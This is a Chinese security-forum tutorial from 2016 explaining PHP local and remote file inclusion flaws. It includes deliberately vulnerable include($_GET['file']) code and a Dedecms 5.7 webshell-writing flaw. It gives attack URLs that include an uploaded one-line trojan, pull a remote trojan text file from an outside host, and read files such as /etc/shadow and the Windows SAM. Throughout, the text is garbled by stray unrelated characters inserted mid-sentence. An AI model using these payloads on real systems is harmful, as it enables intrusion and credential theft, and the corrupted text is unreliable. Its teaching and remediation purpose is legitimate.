來(lái)源:http://bbs.ichunqiu.com/thread-9817-1-1.html?from=ch
社區(qū):i春秋
時(shí)間:2016年8月9日22:42:00
作者:LoneliNess
前言
俗話說(shuō):“知己知彼怒坯,方能百戰(zhàn)不殆”蜈七,今天,小編就帶著你們走進(jìn)文件包含的世界讯屈,去進(jìn)一步的了解它绑蔫,深入它……………….如有錯(cuò)誤运沦,請(qǐng)你雅正!配深!
目錄
第一節(jié)初識(shí)文件包含漏洞
·? ?? ?1.1携添、 什么是包含
·? ?? ?1.2、 文件包含漏洞是怎樣產(chǎn)生的
·? ?? ?1.3篓叶、 文件包含漏洞的分類
第二節(jié)??詳解PHP文件包含漏洞
·? ?? ? 1.4烈掠、解析PHP文件包含
·? ?? ? 1.5、文件包含實(shí)例及漏洞分析
·? ?? ? 1.6缸托、常見(jiàn)的幾種攻擊手法
·? ?? ? 1.7左敌、修復(fù)方案
第三節(jié) 嚴(yán)正聲明
正文
第一節(jié)初識(shí)文件包含漏洞
1.1、 什么是包含
程序猿常常把可以重復(fù)利用的函數(shù)寫(xiě)到單文件中俐镐,在使用一些函數(shù)時(shí)矫限,直接調(diào)用,無(wú)須再次編寫(xiě),這種過(guò)程呢叼风,就稱為包含
1.2取董、? ?文件包含漏洞是怎樣產(chǎn)生的
程序猿為了讓代碼更靈活,會(huì)設(shè)置一些變量咬扇,用來(lái)動(dòng)態(tài)調(diào)用甲葬,由于這種靈活,使客戶端闊以調(diào)用一個(gè)惡意的文件懈贺,從而造成文件包含漏洞
1.3经窖、? ?文件包含漏洞的分類
文件包含漏分為本地文件包含(Local File Inclusion)程文件包含(Remote FileInclusion)
第二節(jié)??文件包含漏洞實(shí)例及常見(jiàn)的幾種攻擊手法
1.4、? ?解析文件包含
PHP文件包含漏洞涉及到的危險(xiǎn)函數(shù):
include(),require()和include_once(),require_once()
以上這些函數(shù)都闊以進(jìn)行文件包含梭灿,但作用不同画侣,區(qū)別如下:
Include:包含并運(yùn)行指定文件,當(dāng)包含外部文件發(fā)生錯(cuò)誤時(shí)堡妒,系統(tǒng)給出警告配乱,但整個(gè)php文件繼續(xù)執(zhí)行。
Require:找不到包含文件產(chǎn)生致命錯(cuò)誤皮迟,并停止腳本
Include_once:這個(gè)函數(shù)跟include函數(shù)作用幾乎相同搬泥,只是他在導(dǎo)入函數(shù)之前先檢測(cè)下該文件是否被導(dǎo)入。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了伏尼。
Require_once:這個(gè)函數(shù)跟require的區(qū)別 跟上面我所講的include和include_once是一樣的忿檩。所以我就不重復(fù)了。
1.5爆阶、? ?文件包含實(shí)例及漏洞分析
1)文件包含實(shí)例
本次測(cè)試燥透,服務(wù)器環(huán)境為:
PHP??5.3.29
Mysql??5.0.8
Apache 2.4.18
1 本地文件包含(LFI)
小編寫(xiě)了一個(gè)test.php文件
[AppleScript]純文本查看復(fù)制代碼
1
2
3
4
5
if(isset($_GET['file'])){
$file=$_GET['file'];
include $file;}
?>
然后在寫(xiě)包含了一個(gè)phpinfo.txt進(jìn)入文件內(nèi)容是符合PHP語(yǔ)法的代碼
[AppleScript]純文本查看復(fù)制代碼
1
2
3
phpinfo();
?>
之后的效果如圖所示
2 遠(yuǎn)程文件包含(RFI)
小編在這里須強(qiáng)調(diào)的是遠(yuǎn)程文件包含,必須要確定PHP開(kāi)啟了遠(yuǎn)程包含功能選項(xiàng)辨图,開(kāi)啟此功能須在PHP.ini配置文件中修改班套,成功后重啟服務(wù)器生效
即allow_url_include=on
實(shí)例如下:
www.xxxcom目錄下存在1.txt,代碼如下(PS:沒(méi)有絲毫罵蛋總的意思):
[AppleScript]純文本查看復(fù)制代碼
1
2
3
echo"yyyxy is a bad man"
?>
在test.php中代碼如下:
[AppleScript]純文本查看復(fù)制代碼
1
2
3
4
5
if(isset($_GET['file'])){
$file=$_GET['file'];
include $file;}
?>
訪問(wèn)url:http://www.xxxcom/test.php?file=http://localhost/1.txt
2)漏洞實(shí)例分析
就拿Dedecms5.7 來(lái)講解吧(PS:想聽(tīng)更好的講解可以去i春秋官網(wǎng)學(xué)習(xí))
i春秋文件包含課程講解地址:http://www.ichunqiu.com/course/51575
廣告打得有點(diǎn)生硬故河,第一次吱韭,不好意思……..
這個(gè)漏洞主要由兩個(gè)原因引起的,其中最重要的一個(gè)原因忧勿,便是開(kāi)發(fā)者沒(méi)有認(rèn)識(shí)到Apache服務(wù)器解析文件的流程杉女,從而導(dǎo)致安
裝文件在安裝后居然可以被繼? ? 續(xù)訪問(wèn)。這里接單解釋下Apache解析文件的流程:
當(dāng)Apache檢測(cè)到一個(gè)文件有多個(gè)擴(kuò)展名時(shí)鸳吸,如1.php.bak,會(huì)從右向左判斷速勇,直到有一個(gè)Apache認(rèn)識(shí)的擴(kuò)展名晌砾。如果所有的擴(kuò)展名Apache都不認(rèn)識(shí),那? ? 么變會(huì)按照httpd.conf配置中所指定的方式展示這個(gè)問(wèn)題烦磁,一般默認(rèn)情況下是“text/plain”這種方式养匈。
那么這樣的話哼勇,像1.php.bak這樣的文件名就會(huì)被當(dāng)做php文件所解析。這也就是傳說(shuō)中的Apache解析漏洞呕乎。
問(wèn)題出在這里install/index.php.bak
[AppleScript]純文本查看復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16[php]
else if($step==11)
{
require_once(‘../data/admin/config_update.php’);
$rmurl=$updateHost.”dedecms/demodata.{$s_lang}.txt”;
echo $rmurl;
$sql_content=file_get_contents($rmurl);
$fp=fopen($install_demo_name,’w’);
if(fwrite($fp,$sql_content))
echo ‘? [√] 存在(您可以選擇安裝進(jìn)行體驗(yàn))’;
else
echo ‘? [×] 遠(yuǎn)程獲取失敗’;
unset($sql_content);
fclose($fp);
exit();
[/php]
了解Dedecms參數(shù)機(jī)制的同學(xué)都知道积担,代碼中的一些變量我們是可以通過(guò)GET參數(shù)的方式進(jìn)行操控的。那么上面代碼很明顯猬仁,可以向指定的文件內(nèi)寫(xiě)入任意內(nèi)容帝璧,從而導(dǎo)致獲取webshell
如果想聽(tīng)更詳細(xì)的講解請(qǐng)到http://www.ichunqiu.com/course/51575
1.6、? ?常見(jiàn)的幾種攻擊手法
1)? ?? ? 本地包含配合上傳拿shell
大多數(shù)網(wǎng)站都會(huì)有上傳功能湿刽,上傳個(gè)圖片的烁,假設(shè)已上傳圖片一句話木馬,路徑為xxx/1.jpg诈闺,訪問(wèn)http://www.xxx.com/index.php?file=./xxx/1.jpg
2)? ?? ? 遠(yuǎn)程包含拿shell
這種應(yīng)該非常少見(jiàn)了吧渴庆,目標(biāo)主機(jī)必須保證allow_url_include=on情況,在http://***.com/根目錄下有一個(gè)一句話木馬的txt雅镊,訪問(wèn)http://www.xxx.com/index.php?file=http://***.com/muma.txt
3)讀取敏感信息
訪問(wèn)url:http://www.xxx.com/index.php?file=/etc/my.conf
如果存在本文件襟雷,他會(huì)讀出文件的內(nèi)容……..反之
常見(jiàn)的敏感信息路徑
Windows系統(tǒng)
c:\boot.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?// 查看系統(tǒng)版本
c:\windows\system32\inetsrv\MetaBase.xml? ?? ?? ?? ?? ?//??IIS配置文件
c:\windows\repair\sam? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??存儲(chǔ)Windows系統(tǒng)初次安裝的密碼
c:\ProgramFiles\mysql\my,ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD? ?? ?? ?? ? //??MySQL root
c:\windows\php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?php 配置信息
c:\windows\my.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?MySQL 配置文件
......
Linux/Unix系統(tǒng)
/etc/passwd? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶信息
/etc/shadow? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ???//? ?Apache2默認(rèn)配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf? ?? ???//? ?虛擬網(wǎng)站配置
/usr/local/app/php5/lib/php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??PHP相關(guān)配置
/etc/httpd/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?Apache配置文件
/etc/my.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?mysql 配置文件
1.7蝌借、??修復(fù)方案
限制路徑懦砂,禁止跳轉(zhuǎn)字符悼沿,如:../
把需要包含的頁(yè)面固定寫(xiě)好凫岖,如:include(“test.php”)
第三節(jié) 嚴(yán)正聲明
本文討論的技術(shù)僅用于研究學(xué)習(xí)技術(shù)交流悦穿,嚴(yán)禁用于非法行為和破壞行為浮声,否則造成的一切法律責(zé)任與作者以及本網(wǎng)站無(wú)關(guān)怨咪。
本文原創(chuàng)作者:LoneliNess拭荤,轉(zhuǎn)載須注明來(lái)自i春秋社區(qū)(BBS.ichunqiu.com)
結(jié)束語(yǔ):
I春秋僚饭,你值得擁有U鸲!!不忘初心鳍鸵,方得始終N辍!偿乖!